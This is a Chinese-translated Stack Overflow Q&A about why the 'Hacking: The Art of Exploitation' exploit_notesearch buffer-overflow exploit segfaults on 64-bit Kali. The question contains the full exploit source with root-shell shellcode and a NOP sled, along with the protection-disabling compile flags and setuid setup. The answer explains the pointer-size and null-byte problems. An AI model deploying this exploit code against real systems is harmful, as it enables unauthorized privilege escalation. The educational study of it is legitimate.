首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >为什么我从“黑客:剥削的艺术”中得到了exploit_notesearch程序中的分段错误?

为什么我从“黑客:剥削的艺术”中得到了exploit_notesearch程序中的分段错误?
EN

Stack Overflow用户
提问于 2020-06-09 21:17:37
回答 1查看 334关注 0票数 0

所以,首先,我在Kali 2020.1上,完全更新了。64位。源码如下:

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    long int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);

    bzero(command, 200); // Zero out the new memory.
    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.
    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);
    ret = (long int) &i - offset; // Set return address.

    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;

   memset(buffer, 0x90, 60); // Build NOP sled.
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
   strcat(command, "\'");
   system(command); // Run exploit.
   free(command);
} 

现在,一些重要的澄清。我包含了所有这些库,因为编译在没有它们的情况下会抛出警告。前面的notetaker和notesearch程序,以及这个exploit_notesearch程序,在终端中编译如下:

代码语言:javascript
复制
gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c 

我不再记得源代码说我必须以这种方式编译(对于它们来说,首选的堆栈边界是2,但我的机器要求它在4到12之间)。此外,正如您所看到的,堆栈现在是可执行的。

所有3个程序(notetaker、notesearch和exploit_notesearch)的权限都进行了修改,如本书所示:

代码语言:javascript
复制
sudo chown root:root ./program_name
sudo chmod u+s ./program_name      

我尝试了这个链接中的解决方案:Debugging Buffer Overflow Example,但是没有用。这个链接也是如此:Not So Fast Shellcode Exploit

在终端中使用for循环以增量1、10、20和30递增地将偏移量从0更改为330也不能解决我的问题。无论我做什么,我都会得到一个分段错误。

在我的情况下,问题可能是什么,克服上述问题的最佳方法是什么?谢谢。

附注:我记得我读到过,我应该使用64位的外壳代码,而不是提供的。

EN

回答 1

Stack Overflow用户

发布于 2020-06-19 02:42:29

当您执行segfaulting时,最好在像GDB这样的调试器中运行它。它应该告诉你你在哪里崩溃,你可以逐步执行并验证你所做的假设。最常见的段错误往往是无效的内存权限(例如,试图执行不可执行的页面)或无效的指令(例如,如果您在sled代码中间,而不是在NOP sled中)。

在尝试将利用漏洞转换为在32位上工作时,您会遇到一些问题。当用返回地址填充缓冲区时,当64位上的指针实际上是8字节时,它使用常量4

代码语言:javascript
复制
for(i=0; i < 160; i+=4) // Fill buffer with return address.
    *((unsigned int *)(buffer+i)) = ret;

在尝试利用strcpy错误时,这也会带来一些问题,因为这些64位地址将包含空字节(因为可用地址空间仅使用8个字节中的6个)。因此,如果在实际覆盖堆栈上的返回地址之前有一些过早的空字节,则实际上不会复制足够的数据来利用溢出。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/62283563

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档